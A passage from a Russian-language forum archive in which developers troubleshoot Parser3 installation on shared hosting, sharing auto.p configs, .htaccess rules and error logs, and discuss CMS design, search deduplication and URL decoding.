@conf[filespec]\
$charsetsdir[/home/e/exprmru/public_html/parser/charsets]\
$sqldriversdir[/home/e/exprmru/public_html/parser/lib]\
\
$CLASS_PATH[/../../e/exprompt/public_html]\
\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
#change your client libraries paths to those on your system\
#$SQL[\
#	$.drivers[^table::set{protocol	driver	client\
#mysql	$sqldriversdir/libparser3mysql.so	-configure could not guess-\
#pgsql	$sqldriversdir/libparser3pgsql.so	/usr/local/pgsql/lib/libpq.so\
#oracle	$sqldriversdir/libparser3oracle.so	-configure could not guess-\
#}]\
#]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
jpeg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
xml	text/xml\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
#$MAIL[\
#	$.sendmail[your sendmail command goes here]\
#	these are tried when no 'sendmail' specified:\
#	    /usr/sbin/sendmail -t -i -f postmaster\
#	    /usr/lib/sendmail -t -i -f postmaster\
#]\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
[/code]"
"26286","Почему вы все решили, что можно положить парсер в папку /parser и он там будет работать??? У вас не один сплошной цигибин там на аккаунте, а только /cgi-bin. Parser.cgi будет [i]исполняться[/i] только в cgi-bin и в дочерних его каталогах.\
\
Конфиг возьмите стандартный, закоментируйте ненужные драйвера и все. Будет работать.\
\
P.S. Инструкция, по определению, требует [b]точного[/b], без отклонений, выполнения."
"26288","В директории с parser3.cgi надо .htaccess (совсем забыл!)\
содержимое: AddHandler cgi-script .cgi\
test.html лучше звать из корня."
"26289","то не нужно тратить на него время.\
и стоит сделать, как я предложил, это тривиально.\
\
если нужен, прочтите, пожалуйста файлик INSTALL."
"26291","Намедни, при попытке собрать Parser 3 из HEAD с libxml2-2.6.5 и libxslt-1.1.2 так же получил отлуп от компоновщика, правда уже по другой причине - ld ругался на undefined symbols: pthread_*****. Ранее я на подобные сообщения при сборке не натыкался. Поправить ситуацию удалось пересобрав libxml2 с кючиком --with-threads=no.\
Александр, не подскажете это особенность более новой libxml2? Или это тоже побочный эффект gcc 3.2 ... (так уж получилось что момента обновления libxm2 совпал с переходом на gcc 3.2)"
"26292","получим:\
Parser/3.1.1"
"26293","1. /cgi-bin/auto.p \
2. /.htaccess"
"26294","заразно :)"
"26295","Странно ... но \
в INSTALL до сих пор \
[quote]\
3a. In case you wish XML(xdoc and xnode classes) support, you need libraries\
      libxml2 >= 2.6.5 [ftp://xmlsoft.org/libxml2-2.6.5.tar.gz]\
      libxslt >= 1.1.2 [ftp://xmlsoft.org/libxslt-1.1.2.tar.gz]\
      glib >= 1.2.10 [ftp://ftp.gtk.org/pub/gtk/v1.2/glib-1.2.10.tar.gz]\
      gdome2 >= 0.7.4 [http://gdome2.cs.unibo.it/tarball/gdome2-0.7.4.tar.gz]\
    on your system, and specify path to them to Parser3 configure script.\
\
    Sources of libgdome library must be patched prior to compile. [library author bug confirmation p\
\
    Installation sequence of these libraries to $HOME/gnome:\
\
    libxml2:\
\
    cd libxml2-x.x.x\
    ./configure --prefix=$HOME/gnome --without-zlib --without-iconv --silent\
    make install\
[/quote]\
\
Или я что-то упустил?"
"26296","попали под руку, разогретую нечитателями.\
сам я собирал с новыми библиотеками пока всего в двух местах: на win32 и solaris.\
\
соответственно, советуете добавить\
[code]\
--without-threads\
[/code]\
это в INSTALL?"
"26297","давно собираю командой\
[code]\
./configure --prefix=/... --without-zlib --without-iconv --without-threads --disable-shared\
[/code]\
\
а в INSTALL так и не вписал."
"26298","--------------------------------------------------------\
auto.p\
--------------------------------------------------------\
#$Id: auto.p.dist.in,v 1.1.1.1 2003/11/19 17:08:15 egr Exp $\
\
@conf[]\
$charsetsdir[/usr/parser3/etc/parser3.charsets]\
$sqldriversdir[/usr/parser3/lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	-configure could not guess-\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
jpeg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
xml	text/xml\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
#$MAIL[\
#	$.sendmail[your sendmail command goes here]\
#	these are tried when no 'sendmail' specified:\
#	    /usr/sbin/sendmail -t -i -f postmaster\
#	    /usr/lib/sendmail -t -i -f postmaster\
#]\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
--------------------------------------------------------\
\
--------------------------------------------------------\
.htaccess\
--------------------------------------------------------\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
--------------------------------------------------------\
\
\
Если набрать в браузере\
http://www.karasev.ru/cgi-bin/parser3.cgi\
то выдается ошибка <HTTP 505 Внутренняя ошибка сервера> \
\
_"
"26299","> Если набрать в браузере\
> http://www.karasev.ru/cgi-bin/parser3.cgi\
> то выдается ошибка <HTTP 505 Внутренняя ошибка сервера> \
\
Отключите в IE Friendly Error Messages (или как там оно). Это в префах браузера."
"26300","Я не могу найти эту функцию.\
Она в меню <Сервис>?"
"26301","Я на макинтоше. ПиСи под рукой нет.\
Поищите по форуму на слово Friendly - кто-то (кажется, Misha) писал где именно."
"26302","Хочется понять, как лучше, хотя понимаю, что однозначного ответа, наверное нет. Но все же...\
\
Есть CMS, есть клиенты.\
Как лучше поступить с CMS:\
1. ставить на каждый сайт (плодить кучу копий)\
+ гибко\
- незащищенность кода\
- трудно отслеживать, что за версия там, ошибки исправлять\
- накуралесят ручками - поди разберись потом, а время=деньги\
\
2. сделать единый вход для всех (домен создать для этой CMS, и пусть будет так: http://client_site.moya_cms.ru/)\
+ полный контроль\
+ своевременная реакция на жалобы и предложения\
+ защищенность кода\
+ см. 1-й плюсик\
какие минусы, не знаю пока, но они есть.\
\
Да, если не секрет, как у Студии это работает?\
Посоветуйте, времени у меня мало."
"26303","У меня - это проекты Theatre.Ru\
Все проекты живут на одном физическом сервере, пользуются одной (shared) базой данных, одним набором классов.\
Для каждого сайта \"своих файлов\" только конфиги, шаблоны да всякая media (gif, jpg, mp3, avi и т.д.)\
\
Однако замечу, что такое построение сайтов обусловлено именно базой данных, которая едина, ибо у московских театров много \"общей\" информации. Например, Сергей Юрский - один, а работает в нескольких театрах. Так, если один театр уже ввел его биографию, другому театру она также доступна. В результате не плодятся сущности, но возникает проблема удовлетворения существующей информацией все театров, в которых данный человек работает... Подобных подводных камней много..."
"26304","содержит такие строчки:\
[code]\
@conf[]\
$charsetsdir[/usr/parser3/etc/parser3.charsets]\
$sqldriversdir[/usr/parser3/lib]\
[/code]\
\
ваш журнал ошибок содержит такие строчки:\
[code]\
[Wed Feb 11 18:47:01 2004] /test.html: \
'/usr/parser3/etc/parser3.charsets/windows-1251.cfg' read failed: \
No such file or directory (2), \
actual filename '/usr/parser3/etc/parser3.charsets/windows-1251.cfg' [file.missing]\
[/code]\
[http://www.parser.ru/forum/?id=26272]\
\
вы сами сложите два и два, или вам помочь?"
"26305","если сайты черезчур разные и единой БД не будет.\
А если, блин, еще разные хостинги...\
\
Хочется придумать решение, основательное такое, для всех клиентов.\
\
Наверное, работать над 2-м вариантом."
"26306","там все понятно и доступно"
"26307","1) Я создал директорю <_p3> в корневом каталоге на сервере <public_html>\
\
2) Поместил в созданную директорию файлы <parser3.cgi> и <auto.p>\
\
3) Поместил тудаже тапки <lib> и <charsets> соответственно с файлами <libparser3mysql.so> в <lib> и файлы кодировок в <charsets>.\
\
4) Назначил права файлу <parser3.cgi> 700, а так же для всей папки <_p3> 755, т.е. как у стандартной папки <cgi-bin>\
\
5) В корневой папке для всех файлов сервера, а именно <public_html> исправил файл <.htaccess>, где написал следующее:\
AddType parsed-html html\
Action parsed-html /_p3/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Проверяю:\
http://www.chuikov.ru/_p3/parser3.cgi\
выдает что-то не понятное:\
ELF\
\
Что делать дальше не знаю..."
"26308","Проблем будет больше, чем выгоды.\
\
Если уж так хочется, чтобы все было в одном месте, думаю имеет смысл посмотреть в сторону такого варианта:\
- Клиенту ставится простейший движок, который будет ходить на сайт к CMS и брать готовый код страницы и кэшировать его на 200 лет ;-)\
- Когда клиент править что-то, CMS обращается к движку с просьбой обновиться, что тот и выполняет согласно п.1.\
\
Движок в таком случае: ;-)\
[code]^cache(...){\
    $page[^file::load[binary][http://cms/get?site=...&path=...]]\
    ^switch[$page.content-type]{\
        ^case[text/html]{^taint[as-is][$page.text]}\
        ^case[application/octet-stream;image/gif;...]{^page.save[binary][path]}\
    }\
}[/code]\
Ну и добавить тот кусок, который будет отдавать движку \"дерево обновления\", чтобы бегая по нему можно было собрать все обновленные файлы...\
Идея, надеюсь, ясна."
"26309","в которой лежат все файлы с кодировками.\
\
Что складывать?"
"26310","http://www.mysql.com/downloads/administrator.html\
\
ещё не смотрел."
"26311","В общем случае от 2-го варианта отказался.\
Сэнкс."
"26316","2=вы файлы положили в одно место,\
2=а в auto.p указали другое место.\
\
сложите сами 2 и 2?"
"26317","Я две недели ставил по инструкции, не помогает :-)\
\
В конечном итоге не помогла даже посильная помощь Mish-и и PAF-a."
"26318","Положил. Стала появлятся другая ошибка.\
\
Forbidden\
You don't have permission to access /parser/parser3.cgi/test.html on this server."
"26319","...в случае комментирования ошибка та же с undeclared xmlHaveGenericErrors, exc, XmlException что была и раньше (см. http://www.parser.ru/forum/?id=26257) - потому и собирал с --with-shared-xml.\
\
Мне кажется, что сейчас я иду не в ту сторону: release 3.1.1 собирается и MySQL-драйвер собирается, но последний не стартует при обращении вызывая в логе запись об ошибке \"двойного cannot'а\"...\
\
Сервер только что проинсталлирован, есть копия системного диска. Простите за наглость, я готов пригласить Вас взлянуть на то, что у меня (не)получается, своими глазами и руками, и сделать заключение: где у меня \"кривые руки\". Может, появится локализованная версия под FreeBSD5.2? Прошу прощения, так как понимаю, _вопрос крайне неккоректный_, но я приверженец данной технологии, и мне, право, хотелось бы с поработать с ней для реальных проектов и, в дальнейшем, аргументированно рекомендовать (прошу не включать этот вопрос в список самых наивных глупостей, так как прекрасно понимаю, что Вы крайне занятый человек)."
"26320","что по инструкции не работает? ну-ну...\
\
просто вы [b]не делали[/b] по инструкции и не читали ничего..."
"26321","А зачит, я так думаю, к файлу <parser3.cgi> быть притензей не может.\
\
Однако http://www.karasev.ru/test.html все равно выдает ошибку:\
-----------------------------------------------\
<b>Unhandled Exception</b>\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@vodish.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
-----------------------------------------------\
\
Но теперь понятно(это я так думаю), что дело либо в <auto.p> либо в <.htaccess>. Хотя в последнем особо ошибаться негде, вродебы...\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Что укзывает на файл, кот. выполняется и кот. существует.\
\
Вопрос: Что надо исправить, чтобы странички все-таки парсились?\
\
PS. Я вернулся к варианту <auto.p>, в стандартной поставке из http://www.parser.ru/download/redhat/"
"26322","Я в конце http://www.parser.ru/forum/?id=25788 треда сообщал, что работает, но при этом указывал, что всплывает ошибка. \
\
Дальнейшая работа показала, что Parser на принимает данные из форм и выдает ошибку:\
\
CGI: illegal call (1)\
\
Также я там говорил, что \"что то сделал хостер\"... Могу пояснить \"что он сделал\"... В корень мне кинули какой то файл par3.cgi нулевого размера(одноименное название с моим парсером, лежащим в директории cgi-bin), права на этот файл L777 ... Сказали, чтоб не удалял. Вот и все. Таким образом видимо \"исправили\" ошибку, про которую вы мне говорили (про скприпт алиас). \
\
Так что в конечном итоге, до сих пор Парсер [b]на хостинге SpaceWeb у меня не работает[/b].\
\
Почему я не написал об этом тогда в тред?.. Потому что уехал в отпуск :-))\
\
Вот то, что я ничего не читал и ничего не делал -- совершенно зря вы так говорите. Обижаете просто. И читал, и делал, и думал. Возможно, я не являюсь столь высококлассным специалистом, как вы, и могу совершать глупые ошибки с вашей точки зрения, но ведь именно для этого форум и есть?"
"26323","не знаете народ где можно достать сабж на Parser3?"
"26324","Может ли кто-нибудь мне подсказать, чем пользоваться для персонифицированных рассылок, к примеру новостей или анонсов сайта? Количество адреcатов > 100.\
\
P.S. Интересно, новости парсера и ответы форума чем рассылаются? Или это закрытая, секретная технология? :))"
"26326","\"не работает по инструкции [b]на том сайте[/b]\".\
\
дело в том что в поднимаемом ранее треде вы вначале не делали по доке. вы пытались угадать.\
\
после того, как все выяснили и сделали по инструкции оказалось, что в общем то по инструкции все должно было получится, если бы не особенности хостера."
"26327","> 100 подключений к sendmail"
"26328","в простейшем случае - http://www.parser.ru/forum/?id=11686"
"26329","что еще может быть?"
"26330","... Все верно, по инструкции получается легко и просто. У себя на локальной машине я и так, и этак ставил.. и под Денвер, и под Win, и под Линукс, и как модуль к Апачу, и как CGI скрипт. Все в общем то получается сразу и без проблем. Ну упустишь где-то путь по первой прописать, но через пару минут сразу же находишь ошибку и все работает...\
\
А вот с хостером -- ну я уже не знаю даже, что предпринять. Суппорт помалкивает, хотя обещали разобратся уже две недели назад. Регулярно подкидываю им новые напоминания, но без толку пока... Если честно, начинает уже бесить такое положение дел.. :-)\
\
А в поднятом треде я вначале сразу же начал описывать эксперименты именно потому, что к тому времени уже просто навострился ставить Parser у себя на сервере, поэтому и \"перешагнул\" в описании через инструкцию, подразумевая, что инструкция не помогла :-)"
"26331","присоединяюсь к вопросу - уж очень условия у них заманчивые"
"26332","а нельзя ли Эти 70 процентов уже выложить? у западных хостеров снялось бы куча вопросов, а то мучаемся"
"26333","Стер <auto.p>\
\
Читаю чзв..."
"26334","у админов вопросов бы не снялось.\
уверен, необходимую страничку документации вы им уже перевели."
"26335","что именно стёрли? напишите полный путь.\
что такое \"чзв\"?"
"26336","Стер:\
http://www.karasev.ru/cgi-bin/auto.p\
\
Проверил работоспособность <.htaccess>. Как именно: написал там строчку \"mytest\", в результате получил ошибку как в FAQ. сейчас убрал тестовую запись, все вернулось на ситуацию до теста.\
\
\
ЧЗВ - Часто Задаваемые Вопросы (FAQ)"
"26337","\"сотрите /auto.p\"\
вы же стёрли /cgi-bin/auto.p\
\
пожалуйста, верните ваш наконец правильный /cgi-bin/auto.p на место.\
и сотрите лишний /auto.p\
\
[b]каждый раз[/b] приводите текст ошибки, который можно взять в журнале ошибок (более удобный способ доступен только тем, кто читает FAQ)."
"26338","вам как нужно - «по-хорошему» или чтобы работало? © PAF\
\
если последний вариант устраивает - сотрите всё и переинсталлируйте согласно инструкции egr, без всякой самодеятельности, но с одним условием - конфигурационный auto.p должен быть из «стандартной поставки» - http://www.parser.ru/download/redhat/. Есть подозрение что всё заработает.\
\
хотя по-хорошему - желательно разобраться почему не работало, самому потом приятнее будет..."
"26339","1) Вернул cgi-bin/auto.p\
2) Стер <auto.p>(с моим кодом для сайта) из коня всего сайта, т.т. из http://www.karasev.ru/\
3) Запуслит http://www.karasev.ru/test.html посмотрите что она выводит.\
\
ЗЫ. Папки <lib> и <charsets> никуда не девал, они там лежат как и лежали."
"26340","вы уже готовы 3 разделить на 3?\
\
3=вы стёрли /auto.p  [вы опять не указали путь :)]\
3=вам перестали говорить \
[quote]\
Sent: Thursday, February 12, 2004 4:00 PM\
To: 'Alexandr Petrosian (PAF)'\
Subject: RE: Спасибо. [...]\
\
[Thu Feb 12 14:58:35 2004] /test.html: parser already configured\
[parser.runtime]\
[/quote]"
"26341","Из какого корня я стер <auto.p> я сказал. Из веб этот корень видется как http://www.karasev.ru/, а в реале выглядит как /public_html/\
\
Кто мне перестал говорить? - не понял. И что за надписи выделенные курсивом?\
\
Файла <parser3.log> не появилось, где еще смотреть коды ошибок не знаю. Только, что все файлы и папки у себя на сервере пересмотрел."
"26342","есть ещё желающие попробовать сегодня помочь?"
"26343","бросили?\
мне не нужно было пытаться помогать?"
"26344","Единственное, что Вы мне сегодня подсказали - это, что нужно удалить файл public_html/auto.p - все! Откуда вы узнали, что он там есть вопросов быть не может - Вы же Гуру.\
\
А если бы Вы зашли на мою тестовую страницу http://www.karasev.ru/test.html , то увидели бы что MySQL все равно не работает.\
Я мог и не мучаться(кстати Вы тоже) потому, что Parser без проблем работает на другом моем хостинге - Sweb, так же без поддержки БД.\
Так, что если Вы считаете, что помогли мне, то я рад за Вас. Я же остался там же где и был. (Еще один день минус...)\
\
Может завтра еще чего-нибудь раскажите, а не тупо у учебник тыкать будите... Надеюсь на это."
"26345","Интересно, сколько еще человек должно поднять эту тему, что бы они начали решать вопрос.\
А то фраза \"наш програмист работает. приносим свои извинения\" уже достала реально. Может они скоро шаблон сообщение сделают для автоматического ответа на вопросы про Парсер :))"
"26346","Админы прислали libmysqlclient.so собранный на их системе -- ошибки, увы, не пропали:\
\
[quote]\
Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
driver failed to initialize client library '/kunden/mysite.com/libmysqlclient.so', can not open the dynamic link module \
/kunden/mysite.com/webseiten/parser/lib/libparser3mysql.so \
[/quote]\
\
Может дело всё-таки в libparser3mysql.so?\
В смысле, что он-то наверное собран не как -Static.\
(прошу прощения, если порю ерунду :-)\
\
С уважением,\
Molotoff"
"26347","что такое \"кто перестал говорить\"?\
отвечаю: parser перестал жаловаться \"[Thu Feb 12 14:58:35 2004] /test.html: parser already configured [parser.runtime]\".\
\
это означает, что в вашем /auto.p был лишний метод @conf[]\
\
теперь, пожалуйста, \
1. верните /auto.p на место\
2. зайдите в него редактором\
3. сотрите от @conf до начала следующего метода\
\
note: и смените отношение к тем, кто вам искренне пытается помочь"
"26348","к нему мы перейдём позже."
"26349","RedHat у меня нигде нет, предположения я все высказал.\
\
если не можете разобраться сами и не можете найти человека, который разберётся, значит с RedHat+parser вам не повезло.\
\
«собрать .so в static» — спороли :)"
"26350","такого еще нет. Есть пара форумов (включая этот), но, как видите, они сильно отличаются. Мне лично кажется, что на данном форуме есть все необходимое для удобства, к тому же он намного легче."
"26351","Уж если Вы мне не можете помочь, тогда я вряд-ли могу ожидать помощи от админов, которые этот парсер даже в глаза не видели...\
У них МySQL работает нормально, кроме меня никто не жалуется.\
\
Вы уверены, что дело не в libparser3mysql.so?\
Может дело в том, что parser3.cgi собран под RedHat 6.2 а  libparser3mysql.so под 7.3?\
\
Может Вы могли бы спросить Ваших админов, в чём может быть проблема?\
\
Всё-таки после года занятия Парсером, написания на нём своих страниц и небольшой системы администрации, смены провайдера и.т.д\
будет очень обидно, если окажется, что мне просто-напросто не повезло :-(\
\
С уважением,\
Molotoff"
"26352","есть легкая разница в доверии когда тебе с \"китайского\" переводит вася пупкин или же  она лежит наа официальном сайте программы в готовом виде - показывает серьёзность и доверие"
"26353","и вам принимать решения.\
\
на данном хостинге свет клином сошёлся?"
"26354","но разделы доки пока не готовы.\
\
и, в любом случае, мы выложим только законченную вещь."
"26355","выбирал специально, что-бы всё было как нужно для парсера.\
\
Кстати, как идея -- может выложить информацию о том, что должен иметь \"правильный\" хостинг (какие программы, какие версии чего, сколько памяти/времени на процесс, итд.). Что-бы знать, что спрашивать перед заказом?\
\
С уважением,\
Molotoff\
\
P.S. А что делают клиенты Студии, когда Parser у них не идёт? Или там проблем не бывает из-за выделенных серверов?"
"26356","есть Студия.\
\
у остальных -- собственные силы ПЛЮС этот форум.\
\
вот волшебной палочки ни у кого нет."
"26357","сколько ответов в разделе нашего сайта \"FAQ\"?"
"26361","Приветствую!\
\
Суть проблемы такова.\
\
Весь контент сайта лежит в одной таблице. Соответственно выводится по паренту. И как только заказчик заполнил сайт, то решил что ему необходим поиск. Ну поиск то я сделал, но оказалось что в разных разделах существуют дубли документов(ну вот так они заполнили все...)\
\
И вот теперь проблема с выводом результатов поиска. Как бы отрезать дубли? Поможите кто чем может. Никак не соображу как сделать проверку на выводе..\
\
Заранее всем спасибо!"
"26363","[code]\
^connect[$SQL.connect-string]{$search_result[^table::sql{select id, head, body from content WHERE body LIKE '%$form:search%'}]}\
[/code]\
и дальше вывожу все что нашел..."
"26364","Он не легче, потому что в отличие phpbb-подобных здесь ясно кто кому на что ответил. И это требует дополнительной нагрузки. Кстати, тема эта обсуждалась в этом форуме кажется не один раз. Хорошо поискав, вы найдете ссылку на код форума by Сергей Яценко (тоже древовидный)."
"26366","$a[^for[i](1;256){#$i}]\
\
^process{^a.match[(#\\d+)][g]{^^$match.1 }}\
\
Получаются только англ. буквы и символы. Русских нет..."
"26367","когда планируете выложить?\
а то обчитался восторгов насчет парсера да и сострогал сайт а теперь маюсь с ним как кот с салом по разным хостингам. и применить не могу и переписывать жалко - удачно получилось. да если б еще только один, клиенту тоже одному сделал. сейчас приходится обдирать телепортом и выкладывать чистый html. но работает не все многое потом приходится править а чуть что  изменитть опять все по новой. уже не рад что повелся надо было php изучать"
"26368","Яндекс использовался для изъятия запроса сформированного систематическим перебором клавиш клавиатуры :))\
\
%60	`\
1	1\
2	2\
3	3\
4	4\
5	5\
6	6\
7	7\
8	8\
9	9\
0	0\
-	-\
%3D	=\
%5D	]\
%5B	[\
p	p\
o	o\
i	i\
u	u\
y	y\
t	t\
r	r\
e	e\
w	w\
q	q\
a	a\
s	s\
d	d\
f	f\
g	g\
h	h\
j	j\
k	k\
l	l\
%3B	;\
%27	'\
%5C	\\\
%2F	/\
.	.\
%2C     ,\
m	m\
n	n\
b	b\
v	v\
c	c\
x	x\
z	z\
%5C	\\\
%7E	~\
%21	!\
@	@\
%23	#\
%24	$\
%25	%\
%5E	^\
%26	&\
*	*\
%28	(\
%29	)\
_       _\
%2B	+\
%7D	}\
%7B	{\
P	P\
O	O\
I	I\
U	U\
Y	Y\
T	T\
R	R\
E	E\
W	W\
Q	Q\
A	A\
S	S\
D	D\
F	F\
G	G\
H	H\
J	J\
K	K\
L	L\
%3A	:\
%22	\"\
%7C	|\
%3F	?\
%3E	>\
%3C	<\
M	M\
N	N\
B	B\
V	V\
C	C\
X	X\
Z	Z\
%7C	|\
%B8	ё\
%FA	ъ\
%F5	х\
%E7	з\
%F9	щ\
%F8	ш\
%E3	г\
%ED	н\
%E5	е\
%EA	к\
%F3	у\
%F6	ц\
%E9	й\
%F4	ф\
%FB	ы\
%E2	в\
%E0	а\
%EF	п\
%F0	р\
%EE	о\
%EB	л\
%E4	д\
%E6	ж\
%FD	э\
%5C	\\\
.	.\
%FE	ю\
E1	б\
%FC	ь\
%F2	т\
%E8	и\
%EC	м\
%F1	с\
%F7	ч\
%FF	я\
%5C	\\\
%A8	Ё\
%22	\"\
%B9	№\
%3B	;\
%3A	:\
%3F	?\
%C9	Й\
%D6	Ц\
%D3	У\
%CA	К\
%C5	Е\
%CD	Н\
%C3	Г\
%D8	Ш\
%D9	Щ\
%C7	З\
%D5	Х\
%DA	Ъ\
%2F	/\
%DD	Э\
%C6	Ж\
%C4	Д\
%CB	Л\
%CE	О\
%D0	Р\
%CF	П\
%C0	А\
%C2	В\
%DB	Ы\
%D4	Ф\
%DF	Я\
%D7	Ч\
%D1	С\
%CC	М\
%C8	И\
%D2	Т\
%DC	Ь\
%C1	Б\
%DE	Ю\
%2C	,"
"26369","[code]\
@unuri[buffer]\
$repl[^table::create[nameless]{\
%60	`\
%3D	=\
%5D	]\
%5B	^[\
%3B	^;\
%27	'\
%5C	\\\
%2F	/\
%2C     ,\
%5C	\\\
%7E	~\
%21	!\
%23	#\
%24	^$\
%25	%\
%5E	^^\
%26	&\
%28	^(\
%29	^)\
%2B	+\
%7D	^}\
%7B	^{\
%3A	:\
%22	\"\
%7C	|\
%3F	?\
%3E	>\
%3C	<\
%7C	|\
%B8	ё\
%FA	ъ\
%F5	х\
%E7	з\
%F9	щ\
%F8	ш\
%E3	г\
%ED	н\
%E5	е\
%EA	к\
%F3	у\
%F6	ц\
%E9	й\
%F4	ф\
%FB	ы\
%E2	в\
%E0	а\
%EF	п\
%F0	р\
%EE	о\
%EB	л\
%E4	д\
%E6	ж\
%FD	э\
%5C	\\\
%FE	ю\
E1	б\
%FC	ь\
%F2	т\
%E8	и\
%EC	м\
%F1	с\
%F7	ч\
%FF	я\
%5C	\\\
%A8	Ё\
%22	\"\
%B9	№\
%3B	^;\
%3A	:\
%3F	?\
%C9	Й\
%D6	Ц\
%D3	У\
%CA	К\
%C5	Е\
%CD	Н\
%C3	Г\
%D8	Ш\
%D9	Щ\
%C7	З\
%D5	Х\
%DA	Ъ\
%2F	/\
%DD	Э\
%C6	Ж\
